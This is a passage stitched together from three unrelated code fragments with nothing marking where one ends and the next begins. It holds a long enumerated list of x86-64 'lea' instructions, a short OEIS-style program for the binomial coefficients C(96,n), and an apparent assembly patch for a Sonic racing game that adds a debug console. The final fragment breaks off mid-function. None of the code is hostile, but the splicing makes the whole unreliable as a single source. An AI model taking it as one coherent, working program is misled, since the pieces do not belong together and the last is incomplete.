0xff] lea rsp, [rsp + r15 + 0xff] lea rsp, [rsp + rsi + 0xff] lea rsp, [rsp + rbp + 0xff] lea rsp, [rsi + rax + 0xff] lea rsp, [rsi + rbx + 0xff] lea rsp, [rsi + rcx + 0xff] lea rsp, [rsi + rdx + 0xff] lea rsp, [rsi + rdi + 0xff] lea rsp, [rsi + r8 + 0xff] lea rsp, [rsi + r9 + 0xff] lea rsp, [rsi + r10 + 0xff] lea rsp, [rsi + r11 + 0xff] lea rsp, [rsi + r12 + 0xff] lea rsp, [rsi + r13 + 0xff] lea rsp, [rsi + r14 + 0xff] lea rsp, [rsi + r15 + 0xff] lea rsp, [rsi + rsp + 0xff] lea rsp, [rsi + rsi + 0xff] lea rsp, [rsi + rbp + 0xff] lea rsp, [rbp + rax + 0xff] lea rsp, [rbp + rbx + 0xff] lea rsp, [rbp + rcx + 0xff] lea rsp, [rbp + rdx + 0xff] lea rsp, [rbp + rdi + 0xff] lea rsp, [rbp + r8 + 0xff] lea rsp, [rbp + r9 + 0xff] lea rsp, [rbp + r10 + 0xff] lea rsp, [rbp + r11 + 0xff] lea rsp, [rbp + r12 + 0xff] lea rsp, [rbp + r13 + 0xff] lea rsp, [rbp + r14 + 0xff] lea rsp, [rbp + r15 + 0xff] lea rsp, [rbp + rsp + 0xff] lea rsp, [rbp + rsi + 0xff] lea rsp, [rbp + rbp + 0xff] lea rsi, [rax + rax + 0xff] lea rsi, [rax + rbx + 0xff] lea rsi, [rax + rcx + 0xff] lea rsi, [rax + rdx + 0xff] lea rsi, [rax + rdi + 0xff] lea rsi, [rax + r8 + 0xff] lea rsi, [rax + r9 + 0xff] lea rsi, [rax + r10 + 0xff] lea rsi, [rax + r11 + 0xff] lea rsi, [rax + r12 + 0xff] lea rsi, [rax + r13 + 0xff] lea rsi, [rax + r14 + 0xff] lea rsi, [rax + r15 + 0xff] lea rsi, [rax + rsp + 0xff] lea rsi, [rax + rsi + 0xff] lea rsi, [rax + rbp + 0xff] lea rsi, [rbx + rax + 0xff] lea rsi, [rbx + rbx + 0xff] lea rsi, [rbx + rcx + 0xff] lea rsi, [rbx + rdx + 0xff] lea rsi, [rbx + rdi + 0xff] lea rsi, [rbx + r8 + 0xff] lea rsi, [rbx + r9 + 0xff] lea rsi, [rbx + r10 + 0xff] lea rsi, [rbx + r11 + 0xff] lea rsi, [rbx + r12 + 0xff] lea rsi, [rbx + r13 + 0xff] lea rsi, [rbx + r14 + 0xff] lea rsi, [rbx + r15 + 0xff] lea rsi, [rbx + rsp + 0xff] lea rsi, [rbx + rsi + 0xff] lea rsi, [rbx + rbp + 0xff] lea rsi, [rcx + rax + 0xff] lea rsi, [rcx + rbx + 0xff] lea rsi, [rcx + rcx + 0xff] lea rsi, [rcx + rdx + 0xff] lea rsi, [rcx + rdi + 0xff] lea rsi, [rcx + r8 + 0xff] lea rsi, [rcx + r9 + 0xff] lea rsi, [rcx + r10 + 0xff] lea rsi, [rcx + r11 + 0xff] lea rsi, [rcx + r12 + 0xff] lea rsi, [rcx + r13 + 0xff] lea rsi, [rcx + r14 + 0xff] lea rsi, [rcx + r15 + 0xff] lea rsi, [rcx + rsp + 0xff] lea rsi, [rcx + rsi + 0xff] lea rsi, [rcx + rbp + 0xff] lea rsi, [rdx + rax + 0xff] lea rsi, [rdx + rbx + 0xff] lea rsi, [rdx + rcx + 0xff] lea rsi, [rdx + rdx + 0xff] lea rsi, [rdx + rdi + 0xff] lea rsi, [rdx + r8 + 0xff] lea rsi, [rdx + r9 + 0xff] lea rsi, [rdx + r10 + 0xff] lea rsi, [rdx + r11 + 0xff] lea rsi, [rdx + r12 + 0xff] lea rsi, [rdx + r13 + 0xff] lea rsi, [rdx + r14 + 0xff] lea rsi, [rdx + r15 + 0xff] lea rsi, [rdx + rsp + 0xff] lea rsi, [rdx + rsi + 0xff] lea rsi, [rdx + rbp + 0xff] lea rsi, [rdi + rax + 0xff] lea rsi, [rdi + rbx + 0xff] lea rsi, [rdi + rcx + 0xff] lea rsi, [rdi + rdx + 0xff] lea rsi, [rdi + rdi + 0xff] lea rsi, [rdi + r8 + 0xff] lea rsi, [rdi + r9 + 0xff] lea rsi, [rdi + r10 + 0xff] lea rsi, [rdi + r11 + 0xff] lea rsi, [rdi + r12 + 0xff] lea rsi, [rdi + r13 + 0xff] lea rsi, [rdi + r14 + 0xff] lea rsi, [rdi + r15 + 0xff] lea rsi, [rdi + rsp + 0xff] lea rsi, [rdi + rsi + 0xff] lea rsi, [rdi + rbp + 0xff] lea rsi, [r8 + rax + 0xff] lea rsi, [r8 + rbx + 0xff] lea rsi, [r8 + rcx + 0xff] lea rsi, [r8 + rdx + 0xff] lea rsi, [r8 + rdi + 0xff] lea rsi, [r8 + r8 + 0xff] lea rsi, [r8 + r9 + 0xff] lea rsi, [r8 + r10 + 0xff] lea rsi, [r8 + r11 + 0xff] lea rsi, [r8 + r12 + 0xff] lea rsi, [r8 + r13 + 0xff] lea rsi, [r8 + r14 + 0xff] lea rsi, [r8 + r15 + 0xff] lea rsi, [r8 + rsp + 0xff] lea rsi, [r8 + rsi + 0xff] lea rsi, [r8 + rbp + 0xff] lea rsi, [r9 + rax + 0xff] lea rsi, [r9 + rbx + 0xff] lea rsi, [r9 + rcx + 0xff] lea rsi, [r9 + rdx + 0xff] lea rsi, [r9 + rdi + 0xff] lea rsi, [r9 + r8 + 0xff] lea rsi, [r9 + r9 + 0xff] lea rsi, [r9 + r10 + 0xff] lea rsi, [r9 + r11 + 0xff] lea rsi, [r9 + r12 + 0xff] lea rsi, [r9 + r13 + 0xff] lea rsi, [r9 + r14 + 0xff] lea rsi, [r9 + r15 + 0xff] lea rsi, [r9 + rsp + 0xff] lea rsi, [r9 + rsi + 0xff] lea rsi, [r9 + rbp + 0xff] lea rsi, [r10 + rax + 0xff] lea rsi, [r10 + rbx + 0xff] lea rsi, [r10 + rcx + 0xff] lea rsi, [r10 + rdx + 0xff] lea rsi, [r10 + rdi + 0xff] lea rsi, [r10 + r8 + 0xff] lea rsi, [r10 + r9 + 0xff] lea rsi, [r10 + r10 + 0xff] lea rsi, [r10 + r11 + 0xff] lea rsi, [r10 + r12 + 0xff] lea rsi, [r10 + r13 + 0xff] lea rsi, [r10 + r14 + 0xff] lea rsi, [r10 + r15 + 0xff] lea rsi, [r10 + rsp + 0xff] lea rsi, [r10 + rsi + 0xff] lea rsi, [r10 + rbp + 0xff] lea rsi, [r11 + rax + 0xff] lea rsi, [r11 + rbx + 0xff] lea rsi, [r11 + rcx + 0xff] lea rsi, [r11 + rdx + 0xff] lea rsi, [r11 + rdi + 0xff] lea rsi, [r11 + r8 + 0xff] lea rsi, [r11 + r9 + 0xff] lea rsi, [r11 + r10 + 0xff] lea rsi, [r11 + r11 + 0xff] lea rsi, [r11 + r12 + 0xff] lea rsi, [r11 + r13 + 0xff] lea rsi, [r11 + r14 + 0xff] lea rsi, [r11 + r15 + 0xff] lea rsi, [r11 + rsp + 0xff] lea rsi, [r11 + rsi + 0xff] lea rsi, [r11 + rbp + 0xff] lea rsi, [r12 + rax + 0xff] lea rsi, [r12 + rbx + 0xff] lea rsi, [r12 + rcx + 0xff] lea rsi, [r12 + rdx + 0xff] lea rsi, [r12 + rdi + 0xff] lea rsi, [r12 + r8 + 0xff] lea rsi, [r12 + r9 + 0xff] lea rsi, [r12 + r10 + 0xff] lea rsi, [r12 + r11 + 0xff] lea rsi, [r12 + r12 + 0xff] lea rsi, [r12 + r13 + 0xff] lea rsi, [r12 + r14 + 0xff] lea rsi, [r12 + r15 + 0xff] lea rsi, [r12 + rsp + 0xff] lea rsi, [r12 + rsi + 0xff] lea rsi, [r12 + rbp + 0xff] lea rsi, [r13 + rax + 0xff] lea rsi, [r13 + rbx + 0xff] lea rsi, [r13 + rcx + 0xff] lea rsi, [r13 + rdx + 0xff] lea rsi, [r13 + rdi + 0xff] lea rsi, [r13 + r8 + 0xff] lea rsi, [r13 + r9 + 0xff] lea rsi, [r13 + r10 + 0xff] lea rsi, [r13 + r11 + 0xff] lea rsi, [r13 + r12 + 0xff] lea rsi, [r13 + r13 + 0xff] lea rsi, [r13 + r14 + 0xff] lea rsi, [r13 + r15 + 0xff] lea rsi, [r13 + rsp + 0xff] lea rsi, [r13 + rsi + 0xff] lea rsi, [r13 + rbp + 0xff] lea rsi, [r14 + rax + 0xff] lea rsi, [r14 + rbx + 0xff] lea rsi, [r14 + rcx + 0xff] lea rsi, [r14 + rdx + 0xff] lea rsi, [r14 + rdi + 0xff] lea rsi, [r14 + r8 + 0xff] lea rsi, [r14 + r9 + 0xff] lea rsi, [r14 + r10 + 0xff] lea rsi, [r14 + r11 + 0xff] lea rsi, [r14 + r12 + 0xff] lea rsi, [r14 + r13 + 0xff] lea rsi, [r14 + r14 + 0xff] lea rsi, [r14 + r15 + 0xff] lea rsi, [r14 + rsp + 0xff] lea rsi, [r14 + rsi + 0xff] lea rsi, [r14 + rbp + 0xff] lea rsi, [r15 + rax + 0xff] lea rsi, [r15 + rbx + 0xff] lea rsi, [r15 + rcx + 0xff] lea rsi, [r15 + rdx + 0xff] lea rsi, [r15 + rdi + 0xff] lea rsi, [r15 + r8 + 0xff] lea rsi, [r15 + r9 + 0xff] lea rsi, [r15 + r10 + 0xff] lea rsi, [r15 + r11 + 0xff] lea rsi, [r15 + r12 + 0xff] lea rsi, [r15 + r13 + 0xff] lea rsi, [r15 + r14 + 0xff] lea rsi, [r15 + r15 + 0xff] lea rsi, [r15 + rsp + 0xff] lea rsi, [r15 + rsi + 0xff] lea rsi, [r15 + rbp + 0xff] lea rsi, [rsp + rax + 0xff] lea rsi, [rsp + rbx + 0xff] lea rsi, [rsp + rcx + 0xff] lea rsi, [rsp + rdx + 0xff] lea rsi, [rsp + rdi + 0xff] lea rsi, [rsp + r8 + 0xff] lea rsi, [rsp + r9 + 0xff] lea rsi, [rsp + r10 + 0xff] lea rsi, [rsp + r11 + 0xff] lea rsi, [rsp + r12 + 0xff] lea rsi, [rsp + r13 + 0xff] lea rsi, [rsp + r14 + 0xff] lea rsi, [rsp + r15 + 0xff] lea rsi, [rsp + rsi + 0xff] lea rsi, [rsp + rbp + 0xff] lea rsi, [rsi + rax + 0xff] lea rsi, [rsi + rbx + 0xff] lea rsi, [rsi + rcx + 0xff] lea rsi, [rsi + rdx + 0xff] lea rsi, [rsi + rdi + 0xff] lea rsi, [rsi + r8 + 0xff] lea rsi, [rsi + r9 + 0xff] lea rsi, [rsi + r10 + 0xff] lea rsi, [rsi + r11 + 0xff] lea rsi, [rsi + r12 + 0xff] lea rsi, [rsi + r13 + 0xff] lea rsi, [rsi + r14 + 0xff] lea rsi, [rsi + r15 + 0xff] lea rsi, [rsi + rsp + 0xff] lea rsi, [rsi + rsi + 0xff] lea rsi, [rsi + rbp + 0xff] lea rsi, [rbp + rax + 0xff] lea rsi, [rbp + rbx + 0xff] lea rsi, [rbp + rcx + 0xff] lea rsi, [rbp + rdx + 0xff] lea rsi, [rbp + rdi + 0xff] lea rsi, [rbp + r8 + 0xff] lea rsi, [rbp + r9 + 0xff] lea rsi, [rbp + r10 + 0xff] lea rsi, [rbp + r11 + 0xff] lea rsi, [rbp + r12 + 0xff] lea rsi, [rbp + r13 + 0xff] lea rsi, [rbp + r14 + 0xff] lea rsi, [rbp + r15 + 0xff] lea rsi, [rbp + rsp + 0xff] lea rsi, [rbp + rsi + 0xff] lea rsi, [rbp + rbp + 0xff] lea rbp, [rax + rax + 0xff] lea rbp, [rax + rbx + 0xff] lea rbp, [rax + rcx + 0xff] lea rbp, [rax + rdx + 0xff] lea rbp, [rax + rdi + 0xff] lea rbp, [rax + r8 + 0xff] lea rbp, [rax + r9 + 0xff] lea rbp, [rax + r10 + 0xff] lea rbp, [rax + r11 + 0xff] lea rbp, [rax + r12 + 0xff] lea rbp, [rax + r13 + 0xff] lea rbp, [rax + r14 + 0xff] lea rbp, [rax + r15 + 0xff] lea rbp, [rax + rsp + 0xff] lea rbp, [rax + rsi + 0xff] lea rbp, [rax + rbp + 0xff] lea rbp, [rbx + rax + 0xff] lea rbp, [rbx + rbx + 0xff] lea rbp, [rbx + rcx + 0xff] lea rbp, [rbx + rdx + 0xff] lea rbp, [rbx + rdi + 0xff] lea rbp, [rbx + r8 + 0xff] lea rbp, [rbx + r9 + 0xff] lea rbp, [rbx + r10 + 0xff] lea rbp, [rbx + r11 + 0xff] lea rbp, [rbx + r12 + 0xff] lea rbp, [rbx + r13 + 0xff] lea rbp, [rbx + r14 + 0xff] lea rbp, [rbx + r15 + 0xff] lea rbp, [rbx + rsp + 0xff] lea rbp, [rbx + rsi + 0xff] lea rbp, [rbx + rbp + 0xff] lea rbp, [rcx + rax + 0xff] lea rbp, [rcx + rbx + 0xff] lea rbp, [rcx + rcx + 0xff] lea rbp, [rcx + rdx + 0xff] lea rbp, [rcx + rdi + 0xff] lea rbp, [rcx + r8 + 0xff] lea rbp, [rcx + r9 + 0xff] lea rbp, [rcx + r10 + 0xff] lea rbp, [rcx + r11 + 0xff] lea rbp, [rcx + r12 + 0xff] lea rbp, [rcx + r13 + 0xff] lea rbp, [rcx + r14 + 0xff] lea rbp, [rcx + r15 + 0xff] lea rbp, [rcx + rsp + 0xff] lea rbp, [rcx + rsi + 0xff] lea rbp, [rcx + rbp + 0xff] lea rbp, [rdx + rax + 0xff] lea rbp, [rdx + rbx + 0xff] lea rbp, [rdx + rcx + 0xff] lea rbp, [rdx + rdx + 0xff] lea rbp, [rdx + rdi + 0xff] lea rbp, [rdx + r8 + 0xff] lea rbp, [rdx + r9 + 0xff] lea rbp, [rdx + r10 + 0xff] lea rbp, [rdx + r11 + 0xff] lea rbp, [rdx + r12 + 0xff] lea rbp, [rdx + r13 + 0xff] lea rbp, [rdx + r14 + 0xff] lea rbp, [rdx + r15 + 0xff] lea rbp, [rdx + rsp + 0xff] lea rbp, [rdx + rsi + 0xff] lea rbp, [rdx + rbp + 0xff] lea rbp, [rdi + rax + 0xff] lea rbp, [rdi + rbx + 0xff] lea rbp, [rdi + rcx + 0xff] lea rbp, [rdi + rdx + 0xff] lea rbp, [rdi + rdi + 0xff] lea rbp, [rdi + r8 + 0xff] lea rbp, [rdi + r9 + 0xff] lea rbp, [rdi + r10 + 0xff] lea rbp, [rdi + r11 + 0xff] lea rbp, [rdi + r12 + 0xff] lea rbp, [rdi + r13 + 0xff] lea rbp, [rdi + r14 + 0xff] lea rbp, [rdi + r15 + 0xff] lea rbp, [rdi + rsp + 0xff] lea rbp, [rdi + rsi + 0xff] lea rbp, [rdi + rbp + 0xff] lea rbp, [r8 + rax + 0xff] lea rbp, [r8 + rbx + 0xff] lea rbp, [r8 + rcx + 0xff] lea rbp, [r8 + rdx + 0xff] lea rbp, [r8 + rdi + 0xff] lea rbp, [r8 + r8 + 0xff] lea rbp, [r8 + r9 + 0xff] lea rbp, [r8 + r10 + 0xff] lea rbp, [r8 + r11 + 0xff] lea rbp, [r8 + r12 + 0xff] lea rbp, [r8 + r13 + 0xff] lea rbp, [r8 + r14 + 0xff] lea rbp, [r8 + r15 + 0xff] lea rbp, [r8 + rsp + 0xff] lea rbp, [r8 + rsi + 0xff] lea rbp, [r8 + rbp + 0xff] lea rbp, [r9 + rax + 0xff] lea rbp, [r9 + rbx + 0xff] lea rbp, [r9 + rcx + 0xff] lea rbp, [r9 + rdx + 0xff] lea rbp, [r9 + rdi + 0xff] lea rbp, [r9 + r8 + 0xff] lea rbp, [r9 + r9 + 0xff] lea rbp, [r9 + r10 + 0xff] lea rbp, [r9 + r11 + 0xff] lea rbp, [r9 + r12 + 0xff] lea rbp, [r9 + r13 + 0xff] lea rbp, [r9 + r14 + 0xff] lea rbp, [r9 + r15 + 0xff] lea rbp, [r9 + rsp + 0xff] lea rbp, [r9 + rsi + 0xff] lea rbp, [r9 + rbp + 0xff] lea rbp, [r10 + rax + 0xff] lea rbp, [r10 + rbx + 0xff] lea rbp, [r10 + rcx + 0xff] lea rbp, [r10 + rdx + 0xff] lea rbp, [r10 + rdi + 0xff] lea rbp, [r10 + r8 + 0xff] lea rbp, [r10 + r9 + 0xff] lea rbp, [r10 + r10 + 0xff] lea rbp, [r10 + r11 + 0xff] lea rbp, [r10 + r12 + 0xff] lea rbp, [r10 + r13 + 0xff] lea rbp, [r10 + r14 + 0xff] lea rbp, [r10 + r15 + 0xff] lea rbp, [r10 + rsp + 0xff] lea rbp, [r10 + rsi + 0xff] lea rbp, [r10 + rbp + 0xff] lea rbp, [r11 + rax + 0xff] lea rbp, [r11 + rbx + 0xff] lea rbp, [r11 + rcx + 0xff] lea rbp, [r11 + rdx + 0xff] lea rbp, [r11 + rdi + 0xff] lea rbp, [r11 + r8 + 0xff] lea rbp, [r11 + r9 + 0xff] lea rbp, [r11 + r10 + 0xff] lea rbp, [r11 + r11 + 0xff] lea rbp, [r11 + r12 + 0xff] lea rbp, [r11 + r13 + 0xff] lea rbp, [r11 + r14 + 0xff] lea rbp, [r11 + r15 + 0xff] lea rbp, [r11 + rsp + 0xff] lea rbp, [r11 + rsi + 0xff] lea rbp, [r11 + rbp + 0xff] lea rbp, [r12 + rax + 0xff] lea rbp, [r12 + rbx + 0xff] lea rbp, [r12 + rcx + 0xff] lea rbp, [r12 + rdx + 0xff] lea rbp, [r12 + rdi + 0xff] lea rbp, [r12 + r8 + 0xff] lea rbp, [r12 + r9 + 0xff] lea rbp, [r12 + r10 + 0xff] lea rbp, [r12 + r11 + 0xff] lea rbp, [r12 + r12 + 0xff] lea rbp, [r12 + r13 + 0xff] lea rbp, [r12 + r14 + 0xff] lea rbp, [r12 + r15 + 0xff] lea rbp, [r12 + rsp + 0xff] lea rbp, [r12 + rsi + 0xff] lea rbp, [r12 + rbp + 0xff] lea rbp, [r13 + rax + 0xff] lea rbp, [r13 + rbx + 0xff] lea rbp, [r13 + rcx + 0xff] lea rbp, [r13 + rdx + 0xff] lea rbp, [r13 + rdi + 0xff] lea rbp, [r13 + r8 + 0xff] lea rbp, [r13 + r9 + 0xff] lea rbp, [r13 + r10 + 0xff] lea rbp, [r13 + r11 + 0xff] lea rbp, [r13 + r12 + 0xff] lea rbp, [r13 + r13 + 0xff] lea rbp, [r13 + r14 + 0xff] lea rbp, [r13 + r15 + 0xff] lea rbp, [r13 + rsp + 0xff] lea rbp, [r13 + rsi + 0xff] lea rbp, [r13 + rbp + 0xff] lea rbp, [r14 + rax + 0xff] lea rbp, [r14 + rbx + 0xff] lea rbp, [r14 + rcx + 0xff] lea rbp, [r14 + rdx + 0xff] lea rbp, [r14 + rdi + 0xff] lea rbp, [r14 + r8 + 0xff] lea rbp, [r14 + r9 + 0xff] lea rbp, [r14 + r10 + 0xff] lea rbp, [r14 + r11 + 0xff] lea rbp, [r14 + r12 + 0xff] lea rbp, [r14 + r13 + 0xff] lea rbp, [r14 + r14 + 0xff] lea rbp, [r14 + r15 + 0xff] lea rbp, [r14 + rsp + 0xff] lea rbp, [r14 + rsi + 0xff] lea rbp, [r14 + rbp + 0xff] lea rbp, [r15 + rax + 0xff] lea rbp, [r15 + rbx + 0xff] lea rbp, [r15 + rcx + 0xff] lea rbp, [r15 + rdx + 0xff] lea rbp, [r15 + rdi + 0xff] lea rbp, [r15 + r8 + 0xff] lea rbp, [r15 + r9 + 0xff] lea rbp, [r15 + r10 + 0xff] lea rbp, [r15 + r11 + 0xff] lea rbp, [r15 + r12 + 0xff] lea rbp, [r15 + r13 + 0xff] lea rbp, [r15 + r14 + 0xff] lea rbp, [r15 + r15 + 0xff] lea rbp, [r15 + rsp + 0xff] lea rbp, [r15 + rsi + 0xff] lea rbp, [r15 + rbp + 0xff] lea rbp, [rsp + rax + 0xff] lea rbp, [rsp + rbx + 0xff] lea rbp, [rsp + rcx + 0xff] lea rbp, [rsp + rdx + 0xff] lea rbp, [rsp + rdi + 0xff] lea rbp, [rsp + r8 + 0xff] lea rbp, [rsp + r9 + 0xff] lea rbp, [rsp + r10 + 0xff] lea rbp, [rsp + r11 + 0xff] lea rbp, [rsp + r12 + 0xff] lea rbp, [rsp + r13 + 0xff] lea rbp, [rsp + r14 + 0xff] lea rbp, [rsp + r15 + 0xff] lea rbp, [rsp + rsi + 0xff] lea rbp, [rsp + rbp + 0xff] lea rbp, [rsi + rax + 0xff] lea rbp, [rsi + rbx + 0xff] lea rbp, [rsi + rcx + 0xff] lea rbp, [rsi + rdx + 0xff] lea rbp, [rsi + rdi + 0xff] lea rbp, [rsi + r8 + 0xff] lea rbp, [rsi + r9 + 0xff] lea rbp, [rsi + r10 + 0xff] lea rbp, [rsi + r11 + 0xff] lea rbp, [rsi + r12 + 0xff] lea rbp, [rsi + r13 + 0xff] lea rbp, [rsi + r14 + 0xff] lea rbp, [rsi + r15 + 0xff] lea rbp, [rsi + rsp + 0xff] lea rbp, [rsi + rsi + 0xff] lea rbp, [rsi + rbp + 0xff] lea rbp, [rbp + rax + 0xff] lea rbp, [rbp + rbx + 0xff] lea rbp, [rbp + rcx + 0xff] lea rbp, [rbp + rdx + 0xff] lea rbp, [rbp + rdi + 0xff] lea rbp, [rbp + r8 + 0xff] lea rbp, [rbp + r9 + 0xff] lea rbp, [rbp + r10 + 0xff] lea rbp, [rbp + r11 + 0xff] lea rbp, [rbp + r12 + 0xff] lea rbp, [rbp + r13 + 0xff] lea rbp, [rbp + r14 + 0xff] lea rbp, [rbp + r15 + 0xff] lea rbp, [rbp + rsp + 0xff] lea rbp, [rbp + rsi + 0xff] lea rbp, [rbp + rbp + 0xff]
; A017812: Binomial coefficients C(96,n). ; 1,96,4560,142880,3321960,61124064,927048304,11919192480,132601016340,1296543270880,11279926456656,88188515933856,624668654531480,4036320536972640,23929614612052080,130815226545884704,662252084388541314,3116480397122547360,13677886187371180080,56151322242892212960,216182590635135019896,782375089917631500576,2667187806537380115600,8581386855815918632800,26101718353106752508100,75172948856947447223328,205279975724741105879088,532207344471551015242080,1311510956019179287560840,3075267069286351432901280,6868096454739518200146192,14622398903638974232569312,29701747773016666409906415,57603389620395959098000320,106735692531910159505118240,189074655342240853980495168,320376499329908113689172368,519529458372823968144603840,806637843263068792645569120,1199615254083538204447256640,1709451737069041941337340712,2334860909167471919875392192,3057555952481213228408251680,3839721428697337542652223040,4625118993658156585467450480,5344581948227203165429053888,5925514768686681770366994528,6303739115624129542943611200,6435067013866298908421603100,6303739115624129542943611200,5925514768686681770366994528,5344581948227203165429053888,4625118993658156585467450480,3839721428697337542652223040,3057555952481213228408251680,2334860909167471919875392192,1709451737069041941337340712,1199615254083538204447256640,806637843263068792645569120,519529458372823968144603840,320376499329908113689172368,189074655342240853980495168,106735692531910159505118240,57603389620395959098000320,29701747773016666409906415,14622398903638974232569312,6868096454739518200146192,3075267069286351432901280,1311510956019179287560840,532207344471551015242080,205279975724741105879088,75172948856947447223328,26101718353106752508100,8581386855815918632800,2667187806537380115600,782375089917631500576,216182590635135019896,56151322242892212960,13677886187371180080,3116480397122547360,662252084388541314,130815226545884704,23929614612052080,4036320536972640,624668654531480,88188515933856,11279926456656,1296543270880,132601016340,11919192480,927048304,61124064,3321960,142880,4560,96,1 mov $1,96 bin $1,$0 mov $0,$1
.intel_syntax noprefix .text #; Don't clear BoostBar RAM during Challenge races .org 0x41E040 .org 0x41E04D, 0x90 .org 0x41E354 .org 0x41E36E, 0x90 #; No idea what this is, but it overwrites the CPU players model tint .org 0x421100 ret #; Don't animate jets. I don't feel like finding which polygon goes to what. .org 0x42179E loc_42179E: dec esi jnz loc_42179E pop ebp pop edi pop esi ret 4 .org 0x4217F8, 0x90 ret #; Malloc-sub_4217F8 .org 0x42185C imul eax, ebx, 48 push edi shl esi, 0x10 mov ebx, esi add eax, dword ptr [CharModel_VertexPtr] #;CHECKME .org 0x421873, 0x90 .org 0x4218C1 imul eax, edi, 48 and ebx, 3 shl ebx, 3 add ebx, 0x80 shl ebx, 0x10 push esi add eax, dword ptr [CharModel_VertexPtr] .org 0x4218DF, 0x90 .org 0x42194F add eax, dword ptr [CharModel_VertexPtr] .org 0x421955, 0x90 #; Malloc-sub_421968 .org 0x4219CA lea edx, [eax*2 + eax] mov eax, dword ptr [CharModel_VertexPtr] add ebx, 0x7F inc ebx .org 0x4219DE, 0x90 #; Malloc-sub_4219FC .org 0x421A5E lea edx, [eax*2 + eax] mov eax, dword ptr [CharModel_VertexPtr] add ebx, 0x7F inc ebx .org 0x421A72, 0x90 #; Malloc-sub_421A90 .org 0x421AF2 lea edx, [eax*2 + eax] mov eax, dword ptr [CharModel_VertexPtr] add ebx, 0x7F inc ebx .org 0x421B06, 0x90 #; Disable camera button adjusting camera .org 0x42431C ret .org 0x42AD10 D3D_LoadTexturePage: .org 0x42E034 Parse3DCharacter: #; Malloc-Parse3DCharacters .org 0x42E053 imul eax, [Game_ModelCount], 80 #add eax, [Sonic_ModelAttribBasePtr] add eax, OFFSET Sonic_ModelAttribBasePtr #mov eax, [eax] mov [ebp-52], eax imul eax, [Game_PartCount], 24 add eax, [CharModel_QuadPtr] #mov eax, [eax] mov [ebp-36], eax imul edi, [Game_QuadCount], 48 add edi, [CharModel_VertexPtr] #mov edi, [edi] mov eax, [Game_VertexCount] shl eax, 6 add eax, [CharModel_BasePtr] #mov eax, [eax] mov [ebp-32], eax .org 0x42E0BB, 0x90 .org 0x42E78C Parse3DAnimations: #; Malloc-Parse3DAnimations .org 0x42E796 mov edi, eax mov [ebp-0x18], edx imul esi, edx, 80 #add esi, dword ptr [Sonic_ModelAttribBasePtr] add esi, OFFSET Sonic_ModelAttribBasePtr mov [ebp-0x14], esi imul esi, ds:Game_AnimFrameCount, 24 add esi, dword ptr [AnimFrames_BasePtr] mov edx, offset 0x005201A0 mov eax, edi call fopen_ .org 0x42e7d6, 0x90 #; Malloc-Parse3DGourads .org 0x42E834 Parse3DGourads: .org 0x42E85E imul esi, ecx, 384 add esi, dword ptr [Sonic_GouradPtr] xor edi, edi .org 0x42e873, 0x90 #; Malloc-sub_430638 .org 0x430638 Char_MenuShade: ret ; Commented out because I can't figure out how to disable backface culling /*push ebx push ecx push edx push esi push edi mov edx, [eax+0x10] mov edi, 0x1F sar edx, 7 sub edi, edx movsx edx, word ptr [eax+0xF2] cmp edx, 7 jg Char_MenuShade.ret push edx lea eax, [edx*4] add eax, edx mov edx, offset Sonic_ModelAttribBasePtr shl eax, 4 add edx, eax mov ecx, [edx+0x24] lea eax, [ecx*4] mov ebx, [edx+0x28] sub eax, ecx mov ecx, ebx imul ecx, edi mov esi, [Sonic_GouradPtr] shl eax, 7 add esi, eax lea eax, [ecx*4] mov edx, [edx+0x24] sub eax, ecx shl edx, 6 shl eax, 2 add edx, [CharModel_BasePtr] add eax, esi pop esi Char_MenuShade.L1: #mov ecx, [eax] xor ecx, ecx dec cl mov [edx+8], ecx #mov ecx, [eax+4] mov [edx+0x0C], ecx add edx, 0x40 #mov ecx, [eax+8] add eax, 0x0C mov [edx-0x30], ecx dec ebx jnz short Char_MenuShade Char_MenuShade.ret: pop edi pop esi pop edx pop ecx pop ebx ret*/ #; There's a whole bunch of unused space afterwards. Nice. Unused4: .org 0x430A0C #; Malloc-Tint3DGourads .org 0x430BDC TintCharacterGourads: .org 0x430CB7 add eax, 0x1000 shl edx, 5 mov [ebp-0x18], eax mov eax, dword ptr [Sonic_GouradPtr] cmp dword ptr ds:RenderMode, 2 .org 0x430cd0, 0x90 #ret #; Malloc-sub_430ED4 .org 0x430F37 imul esi, 512 add esi, dword ptr [Sonic_GouradPtr] .org 0x430f4a, 0x90 .org 0x430F5F add eax, dword ptr [CharModel_BasePtr] cmp dword ptr ds:Game_Course, 5 .org 0x430f6d, 0x90 #; DebugText_Write patch . = 0x431140 jmp DebugText_Write nop #; Unused space for whatever . = 0x43BF6C #; InitHook for other stuff InitLoop: push ebp mov ebp, esp push ebx push edx xor ebx, ebx InitLoop.L2: cmp ebx, OFFSET FLAT:HookCount jge InitLoop.L6 mov eax, OFFSET FLAT:HookAddr lea eax, [eax+ebx*4] inc ebx mov eax, [eax] call eax jmp InitLoop.L2 InitLoop.L6: pop eax pop ebx pop ebp ret #; Debug Text Viewer init DebugText_Init: push ebp mov ebp, esp push edi push esi push ebx sub esp, 40 push OFFSET FLAT:MSVCRT call LoadLibraryA push OFFSET FLAT:KERNEL32 mov esi, eax call LoadLibraryA sub esp, 12 mov ebx, eax push OFFSET FLAT:FREOPEN push esi call GetProcAddress push OFFSET FLAT:ALLOCCONSOLE push ebx mov edi, eax call GetProcAddress push OFFSET FLAT:FREELIBRARY push ebx mov DWORD PTR [ebp-36], eax call GetProcAddress push OFFSET FLAT:__IOB_FUNC push esi mov DWORD PTR [ebp-28], eax call GetProcAddress mov ecx, DWORD PTR [ebp-36] add esp, 24 mov DWORD PTR [ebp-32], eax call ecx mov edx, DWORD PTR [ebp-32] call edx add eax, 148 push edx push eax push OFFSET FLAT:W push OFFSET FLAT:CONOUT call edi mov DWORD PTR [esp], esi call [DWORD PTR [ebp-28]] push ebx call [DWORD PTR [ebp-28]] add esp, 12 lea esp, [ebp-12] pop ebx pop esi pop edi pop ebp ret #; Debug Text Viewer write DebugText_Write: push ebp mov ebp, esp push edi push esi push ebx sub esp, 40 push OFFSET FLAT:MSVCRT call LoadLibraryA push OFFSET FLAT:KERNEL32 mov edi, eax call LoadLibraryA sub esp, 12 mov esi, eax push OFFSET FLAT:VPRINTF push edi call GetProcAddress push OFFSET FLAT:FREELIBRARY push esi mov DWORD PTR [ebp-28], eax call GetProcAddress mov ebx, eax lea eax, [ebp+12] mov edx, DWORD PTR [ebp-28] push eax push DWORD PTR [ebp+8] call edx add esp, 20 push edi call ebx push esi call ebx add esp, 12 lea esp, [ebp-12] pop ebx pop esi pop edi pop ebp ret GetFileMatchCount: push ebp mov ebp, esp push 